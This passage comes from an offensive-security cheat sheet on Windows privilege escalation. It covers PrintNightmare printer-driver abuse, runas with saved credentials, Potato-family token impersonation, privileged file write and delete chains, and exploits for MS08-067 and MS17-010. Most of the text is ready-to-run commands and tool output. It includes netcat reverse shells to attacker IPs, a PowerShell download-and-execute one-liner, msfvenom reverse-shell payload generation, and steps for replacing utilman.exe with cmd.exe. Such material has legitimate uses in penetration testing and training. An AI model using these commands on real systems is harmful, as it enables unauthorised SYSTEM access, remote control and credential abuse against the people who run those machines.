($RegStartPrinter + '\CopyFiles\Litchi') -Name 'Directory' -PropertyType 'String' -Value 'W32X86\3' | Out-NullNew-ItemProperty -Path ($RegStartPrinter + '\CopyFiles\Litchi') -Name 'Files' -PropertyType 'MultiString' -Value ('mimispool.dll') | Out-NullNew-ItemProperty -Path ($RegStartPrinter + '\CopyFiles\Litchi') -Name 'Module' -PropertyType 'String' -Value 'mscms.dll' | Out-NullNew-Item -Path ($RegStartPrinter + '\CopyFiles\Mango') | Out-NullNew-ItemProperty -Path ($RegStartPrinter + '\CopyFiles\Mango') -Name 'Directory' -PropertyType 'String' -Value $null | Out-NullNew-ItemProperty -Path ($RegStartPrinter + '\CopyFiles\Mango') -Name 'Files' -PropertyType 'MultiString' -Value $null | Out-NullNew-ItemProperty -Path ($RegStartPrinter + '\CopyFiles\Mango') -Name 'Module' -PropertyType 'String' -Value 'mimispool.dll' | Out-NullExecute the driver
$serverName = 'dc.purple.lab'$printerName = 'Universal Priv Printer'$fullprinterName = '\\' + $serverName + '\' + $printerName + ' - ' + $(If ([System.Environment]::Is64BitOperatingSystem) {'x64'} Else {'x86'})Remove-Printer -Name $fullprinterName -ErrorAction SilentlyContinueAdd-Printer -ConnectionName $fullprinterNamePrinterNightmare#
git clone https://github.com/Flangvik/DeployPrinterNightmarePS C:\adversary> FakePrinter.exe 32mimispool.dll 64mimispool.dll EasySystemShell[<3] @Flangvik - TrustedSec[+] Copying C:\Windows\system32\mscms.dll to C:\Windows\system32\6cfbaf26f4c64131896df8a522546e9c.dll[+] Copying 64mimispool.dll to C:\Windows\system32\spool\drivers\x64\3\6cfbaf26f4c64131896df8a522546e9c.dll[+] Copying 32mimispool.dll to C:\Windows\system32\spool\drivers\W32X86\3\6cfbaf26f4c64131896df8a522546e9c.dll[+] Adding printer driver => Generic / Text Only![+] Adding printer => EasySystemShell![+] Setting 64-bit Registry key[+] Setting 32-bit Registry key[+] Setting '*' Registry keyPS C:\target> $serverName = 'printer-installed-host'PS C:\target> $printerName = 'EasySystemShell'PS C:\target> $fullprinterName = '\\' + $serverName + '\' + $printerName + ' - ' + $(If ([System.Environment]::Is64BitOperatingSystem) {'x64'} Else {'x86'})PS C:\target> Remove-Printer -Name $fullprinterName -ErrorAction SilentlyContinuePS C:\target> Add-Printer -ConnectionName $fullprinterNameBring Your Own Vulnerability#
jacob-baines/concealed_position
- ACIDDAMAGE - CVE-2021-35449 - Lexmark Universal Print Driver LPE
- RADIANTDAMAGE - CVE-2021-38085 - Canon TR150 Print Driver LPE
- POISONDAMAGE - CVE-2019-19363 - Ricoh PCL6 Print Driver LPE
- SLASHINGDAMAGE - CVE-2020-1300 - Windows Print Spooler LPE
cp_server.exe -e ACIDDAMAGE# Get-Printer# Set the "Advanced Sharing Settings" -> "Turn off password protected sharing"cp_client.exe -r 10.0.0.9 -n ACIDDAMAGE -e ACIDDAMAGEcp_client.exe -l -e ACIDDAMAGEEoP - Runas#
Use the cmdkey to list the stored credentials on the machine.
cmdkey /listCurrently stored credentials: Target: Domain:interactive=WORKGROUP\Administrator Type: Domain Password User: WORKGROUP\AdministratorThen you can use runas with the /savecred options in order to use the saved credentials.
The following example is calling a remote binary via an SMB share.
runas /savecred /user:WORKGROUP\Administrator "\\10.XXX.XXX.XXX\SHARE\evil.exe"runas /savecred /user:Administrator "cmd.exe /k whoami"Using runas with a provided set of credential.
C:\Windows\System32\runas.exe /env /noprofile /user:<username> <password> "c:\users\Public\nc.exe -nc <attacker-ip> 4444 -e cmd.exe"$secpasswd = ConvertTo-SecureString "<password>" -AsPlainText -Force$mycreds = New-Object System.Management.Automation.PSCredential ("<user>", $secpasswd)$computer = "<hostname>"[System.Diagnostics.Process]::Start("C:\users\public\nc.exe","<attacker_ip> 4444 -e cmd.exe", $mycreds.Username, $mycreds.Password, $computer)EoP - Abusing Shadow Copies#
If you have local administrator access on a machine try to list shadow copies, it’s an easy way for Privilege Escalation.
# List shadow copies using vssadmin (Needs Admnistrator Access)vssadmin list shadows # List shadow copies using diskshadowdiskshadow list shadows all # Make a symlink to the shadow copy and access itmklink /d c:\shadowcopy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\EoP - From local administrator to NT SYSTEM#
PsExec.exe -i -s cmd.exeEoP - Living Off The Land Binaries and Scripts#
Living Off The Land Binaries and Scripts (and also Libraries) : lolbas-project.github.io
The goal of the LOLBAS project is to document every binary, script, and library that can be used for Living Off The Land techniques.
A LOLBin/Lib/Script must:
- Be a Microsoft-signed file, either native to the OS or downloaded from Microsoft. Have extra “unexpected” functionality. It is not interesting to document intended use cases. Exceptions are application whitelisting bypasses
- Have functionality that would be useful to an APT or red team
wmic.exe process call create calcregsvr32 /s /n /u /i:http://example.com/file.sct scrobj.dllMicrosoft.Workflow.Compiler.exe tests.xml results.xmlEoP - Impersonation Privileges#
Full privileges cheatsheet at gtworek/Priv2Admin, summary below will only list direct ways to exploit the privilege to obtain an admin session or read sensitive files.
| Privilege | Impact | Tool | Execution path | Remarks |
|---|---|---|---|---|
SeAssignPrimaryToken | Admin | 3rd party tool | “It would allow a user to impersonate tokens and privesc to nt system using tools such as potato.exe, rottenpotato.exe and juicypotato.exe” | Thank you Aurélien Chalot for the update. I will try to re-phrase it to something more recipe-like soon. |
SeBackup | Threat | Built-in commands | Read sensitve files with robocopy /b | - May be more interesting if you can read %WINDIR%\MEMORY.DMP - SeBackupPrivilege (and robocopy) is not helpful when it comes to open files.- Robocopy requires both SeBackup and SeRestore to work with /b parameter. |
SeCreateToken | Admin | 3rd party tool | Create arbitrary token including local admin rights with NtCreateToken. | |
SeDebug | Admin | PowerShell | Duplicate the lsass.exe token. | Script to be found at FuzzySecurity |
SeLoadDriver | Admin | 3rd party tool | 1. Load buggy kernel driver such as szkg64.sys or capcom.sys2. Exploit the driver vulnerability Alternatively, the privilege may be used to unload security-related drivers with ftlMC builtin command. i.e.: fltMC sysmondrv | 1. The szkg64 vulnerability is listed as CVE-2018-157322. The szkg64 exploit code was created by Parvez Anwar |
SeRestore | Admin | PowerShell | 1. Launch PowerShell/ISE with the SeRestore privilege present. 2. Enable the privilege with Enable-SeRestorePrivilege). 3. Rename utilman.exe to utilman.old 4. Rename cmd.exe to utilman.exe 5. Lock the console and press Win+U | Attack may be detected by some AV software. Alternative method relies on replacing service binaries stored in “Program Files” using the same privilege. |
SeTakeOwnership | Admin | Built-in commands | 1. takeown.exe /f "%windir%\system32"2. icalcs.exe "%windir%\system32" /grant "%username%":F3. Rename cmd.exe to utilman.exe 4. Lock the console and press Win+U | Attack may be detected by some AV software. Alternative method relies on replacing service binaries stored in “Program Files” using the same privilege. |
SeTcb | Admin | 3rd party tool | Manipulate tokens to have local admin rights included. May require SeImpersonate. To be verified. | |
SeRelabel | Admin | 3rd party too | decoder-it/RelabelAbuse | Allows you to own resources that have an integrity level even higher than your own |
Restore A Service Account’s Privileges#
This tool should be executed as LOCAL SERVICE or NETWORK SERVICE only.
# https://github.com/itm4n/FullPowersc:\TOOLS>FullPowers[+] Started dummy thread with id 9976[+] Successfully created scheduled task.[+] Got new token! Privilege count: 7[+] CreateProcessAsUser() OKMicrosoft Windows [Version 10.0.19041.84](c) 2019 Microsoft Corporation. All rights reserved.C:\WINDOWS\system32>whoami /privPRIVILEGES INFORMATION----------------------Privilege Name Description State============================= ========================================= =======SeAssignPrimaryTokenPrivilege Replace a process level token EnabledSeIncreaseQuotaPrivilege Adjust memory quotas for a process EnabledSeAuditPrivilege Generate security audits EnabledSeChangeNotifyPrivilege Bypass traverse checking EnabledSeImpersonatePrivilege Impersonate a client after authentication EnabledSeCreateGlobalPrivilege Create global objects EnabledSeIncreaseWorkingSetPrivilege Increase a process working set Enabledc:\TOOLS>FullPowers -c "C:\TOOLS\nc64.exe 1.2.3.4 1337 -e cmd" -zMeterpreter getsystem and alternatives#
meterpreter> getsystem Tokenvator.exe getsystem cmd.exe incognito.exe execute -c "NT AUTHORITY\SYSTEM" cmd.exe psexec -s -i cmd.exe python getsystem.py # from https://github.com/sailay1996/tokenx_privEscRottenPotato (Token Impersonation)#
Binary available at : foxglovesec/RottenPotato and breenmachine/RottenPotatoNG
Exploit using Metasploit with
incognito modeloaded.getuidgetprivsuse incognitolist\_tokens -ucd c:\temp\execute -Hc -f ./rot.exeimpersonate\_token "NT AUTHORITY\SYSTEM"
Invoke-TokenManipulation -ImpersonateUser -Username "lab\domainadminuser"Invoke-TokenManipulation -ImpersonateUser -Username "NT AUTHORITY\SYSTEM"Get-Process wininit | Invoke-TokenManipulation -CreateProcess "Powershell.exe -nop -exec bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://10.7.253.6:82/Invoke-PowerShellTcp.ps1');\"};"Juicy Potato (Abusing the golden privileges)#
If the machine is >= Windows 10 1809 & Windows Server 2019 - Try Rogue Potato If the machine is < Windows 10 1809 < Windows Server 2019 - Try Juicy Potato
- Binary available at : ohpe/juicy-potato
Check the privileges of the service account, you should look for SeImpersonate and/or SeAssignPrimaryToken (Impersonate a client after authentication)
whoami /privSelect a CLSID based on your Windows version, a CLSID is a globally unique identifier that identifies a COM class object
Execute JuicyPotato to run a privileged command.
JuicyPotato.exe -l 9999 -p c:\interpub\wwwroot\upload\nc.exe -a "IP PORT -e cmd.exe" -t t -c {B91D5831-B1BD-4608-8198-D72E155020F7}JuicyPotato.exe -l 1340 -p C:\users\User\rev.bat -t * -c {e60687f7-01a1-40aa-86ac-db1cbf673334}JuicyPotato.exe -l 1337 -p c:\Windows\System32\cmd.exe -t * -c {F7FD3FD6-9994-452D-8DA7-9A8FD87AEEF4} -a "/c c:\users\User\reverse_shell.exe" Testing {F7FD3FD6-9994-452D-8DA7-9A8FD87AEEF4} 1337 ...... [+] authresult 0 {F7FD3FD6-9994-452D-8DA7-9A8FD87AEEF4};NT AUTHORITY\SYSTEM [+] CreateProcessWithTokenW OK
Rogue Potato (Fake OXID Resolver)#
- Binary available at antonioCoco/RoguePotato
# Network redirector / port forwarder to run on your remote machine, must use port 135 as src portsocat tcp-listen:135,reuseaddr,fork tcp:10.0.0.3:9999# RoguePotato without running RogueOxidResolver locally. You should run the RogueOxidResolver.exe on your remote machine. # Use this if you have fw restrictions.RoguePotato.exe -r 10.0.0.3 -e "C:\windows\system32\cmd.exe"# RoguePotato all in one with RogueOxidResolver running locally on port 9999RoguePotato.exe -r 10.0.0.3 -e "C:\windows\system32\cmd.exe" -l 9999#RoguePotato all in one with RogueOxidResolver running locally on port 9999 and specific clsid and custom pipenameRoguePotato.exe -r 10.0.0.3 -e "C:\windows\system32\cmd.exe" -l 9999 -c "{6d8ff8e1-730d-11d4-bf42-00b0d0118b56}" -p splintercodeEFSPotato (MS-EFSR EfsRpcOpenFileRaw)#
- Binary available at zcgonvh/EfsPotato
# .NET 4.xcsc EfsPotato.cscsc /platform:x86 EfsPotato.cs# .NET 2.0/3.5C:\Windows\Microsoft.Net\Framework\V3.5\csc.exe EfsPotato.csC:\Windows\Microsoft.Net\Framework\V3.5\csc.exe /platform:x86 EfsPotato.csJuicyPotatoNG#
JuicyPotatoNG.exe -t * -p "C:\Windows\System32\cmd.exe" -a "/c whoami" > C:\juicypotatong.txtPrintSpoofer (Printer Bug)#
this work if SeImpersonatePrivilege is enabled
- Binary available at itm4n/PrintSpoofer
# run nc -lnvp 443 then :.\PrintSpoofer64.exe -c "C:\Temp\nc64.exe 192.168.45.171 443 -e cmd"# without listener.\PrintSpoofer64.exe -i -c cmd# Via RPD.\PrintSpoofer64.exe -d 3 -c "powershell -ep bypass"EoP - Privileged File Write#
DiagHub#
:warning: Starting with version 1903 and above, DiagHub can no longer be used to load arbitrary DLLs.
The Microsoft Diagnostics Hub Standard Collector Service (DiagHub) is a service that collects trace information and is programmatically exposed via DCOM.
This DCOM object can be used to load a DLL into a SYSTEM process, provided that this DLL exists in the C:\Windows\System32 directory.
Exploit#
- Create an evil DLL e.g: payload.dll and move it into
C:\Windows\System32 - Build xct/diaghub
diaghub.exe c:\\ProgramData\\ payload.dll
The default payload will run C:\Windows\System32\spool\drivers\color\nc.exe -lvp 2000 -e cmd.exe
Alternative tools:
UsoDLLLoader#
:warning: 2020-06-06 Update: this trick no longer works on the latest builds of Windows 10 Insider Preview.
An alternative to the DiagHub DLL loading “exploit” found by James Forshaw (a.k.a. @tiraniddo)
If we found a privileged file write vulnerability in Windows or in some third-party software, we could copy our own version of windowscoredeviceinfo.dll into C:\Windows\Sytem32\ and then have it loaded by the USO service to get arbitrary code execution as NT AUTHORITY\System.
Exploit#
- Build itm4n/UsoDllLoader
- Select Release config and x64 architecure.
- Build solution.
- DLL .\x64\Release\WindowsCoreDeviceInfo.dll
- Loader .\x64\Release\UsoDllLoader.exe.
- Copy
WindowsCoreDeviceInfo.dlltoC:\Windows\System32\ - Use the loader and wait for the shell or run
usoclient StartInteractiveScanand connect to the bind shell on port 1337.
WerTrigger#
Exploit Privileged File Writes bugs with Windows Problem Reporting
- Clone sailay1996/WerTrigger
- Copy
phoneinfo.dlltoC:\Windows\System32\ - Place
Report.werfile andWerTrigger.exein a same directory. - Then, run
WerTrigger.exe. - Enjoy a shell as NT AUTHORITY\SYSTEM
WerMgr#
Exploit Privileged Directory Creation Bugs with Windows Error Reporting
- Clone binderlabs/DirCreate2System
- Create directory
C:\Windows\System32\wermgr.exe.local\ - Grant access to it:
cacls C:\Windows\System32\wermgr.exe.local /e /g everyone:f - Place
spawn.dllfile anddircreate2system.exein a same directory and run.\dircreate2system.exe. - Enjoy a shell as NT AUTHORITY\SYSTEM
EoP - Privileged File Delete#
During an MSI installation, the Windows Installer service maintains a record of every changes in case it needs to be rolled back, to do that it will create:
- a folder at
C:\Config.Msicontaining- a rollback script (
.rbs) - a rollback file (
.rbf)
- a rollback script (
To convert a privileged file delete to a local privilege escalation, you need to abuse the Windows Installer service.
- delete the protected
C:\Config.Msifolder immediately after it’s created by the Windows Installer - recreate the
C:\Config.Msifolder with weak DACL permissions since ordinary users are allowed to create folders at the root ofC:\. - drop malicious
.rbsand.rbffiles into it to be executed by the MSI rollback - then upon rollback, Windows Installer will make arbitrary changes to the system
The easiest way to trigger this chain is using thezdi/FilesystemEoPs/FolderOrFileDeleteToSystem.
The exploit contains a .msi file with 2 actions, the first one produces a delay and the second throws an error to make it rollback. This rollback will “restore” a malicious HID.dll in C:\Program Files\Common Files\microsoft shared\ink\HID.dll.
Then switch to the secure desktop using [CTRL]+[ALT]+[DELETE] and open the On-Screen Keyboard (osk.exe).
The osk.exe process first looks for the C:\Program Files\Common Files\microsoft shared\ink\HID.dll library instead of C:\Windows\System32\HID.dll
EoP - Common Vulnerabilities and Exposure#
MS08-067 (NetAPI)#
Check the vulnerability with the following nmap script.
nmap -Pn -p445 --open --max-hostgroup 3 --script smb-vuln-ms08-067 <ip_netblock>Metasploit modules to exploit MS08-067 NetAPI.
exploit/windows/smb/ms08_067_netapiIf you can’t use Metasploit and only want a reverse shell.
https://raw.githubusercontent.com/jivoi/pentest/master/exploit_win/ms08-067.pymsfvenom -p windows/shell_reverse_tcp LHOST=10.10.10.10 LPORT=443 EXITFUNC=thread -b "\x00\x0a\x0d\x5c\x5f\x2f\x2e\x40" -f py -v shellcode -a x86 --platform windowsExample: MS08_067_2018.py 192.168.1.1 1 445 -- for Windows XP SP0/SP1 Universal, port 445Example: MS08_067_2018.py 192.168.1.1 2 139 -- for Windows 2000 Universal, port 139 (445 could also be used)Example: MS08_067_2018.py 192.168.1.1 3 445 -- for Windows 2003 SP0 UniversalExample: MS08_067_2018.py 192.168.1.1 4 445 -- for Windows 2003 SP1 EnglishExample: MS08_067_2018.py 192.168.1.1 5 445 -- for Windows XP SP3 French (NX)Example: MS08_067_2018.py 192.168.1.1 6 445 -- for Windows XP SP3 English (NX)Example: MS08_067_2018.py 192.168.1.1 7 445 -- for Windows XP SP3 English (AlwaysOn NX)python ms08-067.py 10.0.0.1 6 445MS10-015 (KiTrap0D) - Microsoft Windows NT/2000/2003/2008/XP/Vista/7#
‘KiTrap0D’ User Mode to Ring Escalation (MS10-015)
https://www.exploit-db.com/exploits/11199Metasploit : exploit/windows/local/ms10_015_kitrap0dMS11-080 (afd.sys) - Microsoft Windows XP/2003#
Python: https://www.exploit-db.com/exploits/18176Metasploit: exploit/windows/local/ms11_080_afdjoinleafMS15-051 (Client Copy Image) - Microsoft Windows 2003/2008/7/8/2012#
printf("[#] usage: ms15-051 command \n");printf("[#] eg: ms15-051 \"whoami /all\" \n");# x32https://github.com/rootphantomer/exp/raw/master/ms15-051%EF%BC%88%E4%BF%AE%E6%94%B9%E7%89%88%EF%BC%89/ms15-051/ms15-051/Win32/ms15-051.exe# x64https://github.com/rootphantomer/exp/raw/master/ms15-051%EF%BC%88%E4%BF%AE%E6%94%B9%E7%89%88%EF%BC%89/ms15-051/ms15-051/x64/ms15-051.exehttps://github.com/SecWiki/windows-kernel-exploits/tree/master/MS15-051use exploit/windows/local/ms15_051_client_copy_imageMS16-032 - Microsoft Windows 7 < 10 / 2008 < 2012 R2 (x86/x64)#
Check if the patch is installed : wmic qfe list | findstr "3139914"
Powershell:https://www.exploit-db.com/exploits/39719/https://github.com/FuzzySecurity/PowerShell-Suite/blob/master/Invoke-MS16-032.ps1Binary exe : https://github.com/Meatballs1/ms16-032Metasploit : exploit/windows/local/ms16_032_secondary_logon_handle_privescMS17-010 (Eternal Blue)#
Check the vulnerability with the following nmap script or netexec: netexec smb 10.10.10.10 -u '' -p '' -d domain -M ms17-010.
nmap -Pn -p445 --open --max-hostgroup 3 --script smb-vuln-ms17–010 <ip_netblock>Metasploit modules to exploit EternalRomance/EternalSynergy/EternalChampion.
auxiliary/admin/smb/ms17_010_command MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Command Executionauxiliary/scanner/smb/smb_ms17_010 MS17-010 SMB RCE Detectionexploit/windows/smb/ms17_010_eternalblue MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruptionexploit/windows/smb/ms17_010_eternalblue_win8 MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption for Win8+exploit/windows/smb/ms17_010_psexec MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code ExecutionIf you can’t use Metasploit and only want a reverse shell.
git clone https://github.com/helviojunior/MS17-010# generate a simple reverse shell to usemsfvenom -p windows/shell_reverse_tcp LHOST=10.10.10.10 LPORT=443 EXITFUNC=thread -f exe -a x86 --platform windows -o revshell.exepython2 send_and_execute.py 10.0.0.1 revshell.exeCVE-2019-1388#
Exploit : packetstormsecurity/hhupd.exe
Requirement:
- Windows 7
- Windows 10 LTSC 10240
Failing on :
- LTSC 2019
- 1709
- 1803
Detailed information about the vulnerability : Thanksgiving Treat: Easy-as-Pie Windows 7 Secure Desktop Escalation of Privilege - Simon Zuckerbraun - November 19, 2019
References#
- ABUSING ARBITRARY FILE DELETES TO ESCALATE PRIVILEGE AND OTHER GREAT TRICKS - Simon Zuckerbraun - March 17, 2022
- Abusing Diaghub - xct - March 7, 2019
- Abusing SeLoadDriverPrivilege for privilege escalation - June 14, 2018 - OSCAR MALLO
- Abusing the SeRelabelPrivilege - @decoder_it - May 30, 2024
- Alternative methods of becoming SYSTEM - Adam Chester @xpn - November 20, 2017
- Basic Linux Privilege Escalation - g0tmi1k - August 2, 2011
- Bypassing AppLocker by abusing HashInfo - Ian - August 19, 2022
- Chapter 4 - Windows Post-Exploitation - dostoevskylabs - November 2, 2017
- Common Windows Misconfiguration: Services - 2018-09-23 - @am0nsec
- Deleting Your Way Into SYSTEM: Why Arbitrary File Deletion Vulnerabilities Matter - ANDREW OLIVEAU - SEP 11, 2023
- Escalating Privileges via Third-Party Windows Installers - ANDREW OLIVEAU - JUL 19, 2023
- Giving JuicyPotato a second chance: JuicyPotatoNG - @decoder_it, @splinter_code
- Hacking Trick: Environment Variable $Path Interception y Escaladas de Privilegios para Windows
- icacls - Docs Microsoft
- IN THE POTATO FAMILY, I WANT THEM ALL - @BlWasp_
- Living Off The Land Binaries and Scripts (and now also Libraries)
- Local Privilege Escalation Workshop - Slides.pdf - @sagishahar
- MSI Shenanigans. Part 1 – Offensive Capabilities Overview - DECEMBER 8, 2022 - Mariusz Banach
- MSIFortune - LPE with MSI Installers - Oct 3, 2023 - PfiatDe
- Pentestlab.blog - WPE-01 - Stored Credentials
- Pentestlab.blog - WPE-02 - Windows Kernel
- Pentestlab.blog - WPE-03 - DLL Injection
- Pentestlab.blog - WPE-04 - Weak Service Permissions
- Pentestlab.blog - WPE-05 - DLL Hijacking
- Pentestlab.blog - WPE-06 - Hot Potato
- Pentestlab.blog - WPE-07 - Group Policy Preferences
- Pentestlab.blog - WPE-08 - Unquoted Service Path
- Pentestlab.blog - WPE-09 - Always Install Elevated
- Pentestlab.blog - WPE-10 - Token Manipulation
- Pentestlab.blog - WPE-11 - Secondary Logon Handle
- Pentestlab.blog - WPE-12 - Insecure Registry Permissions
- Pentestlab.blog - WPE-13 - Intel SYSRET
- Potatoes - Windows Privilege Escalation - Jorge Lajara - November 22, 2020
- Privilege Escalation Windows - Philip Linghammar
- Remediation for Microsoft Windows Unquoted Service Path Enumeration Vulnerability - September 18th, 2016 - Robert Russell
- The Open Source Windows Privilege Escalation Cheat Sheet by amAK.xyz and @xxByte
- The SYSTEM Challenge
- TOP–10 ways to boost your privileges in Windows systems - hackmag
- Universal Privilege Escalation and Persistence – Printer - AUGUST 2, 2021)
- Weaponizing Privileged File Writes with the USO Service - Part 2/2 - itm4n - August 19, 2019
- Webinar - Windows Client Privilege Escalation - Oddvar Moe - March 26, 2025
- Windows Client Privilege Escalation-Shared.pptx - Oddvar Moe - March 27, 2025
- Windows elevation of privileges - Guifre Ruiz
- Windows Exploitation Tricks: Exploiting Arbitrary File Writes for Local Elevation of Privilege - James Forshaw, Project Zero - Wednesday, April 18, 2018
- Windows Privilege Escalation Fundamentals
- Windows Privilege Escalation Guide - absolomb’s security blog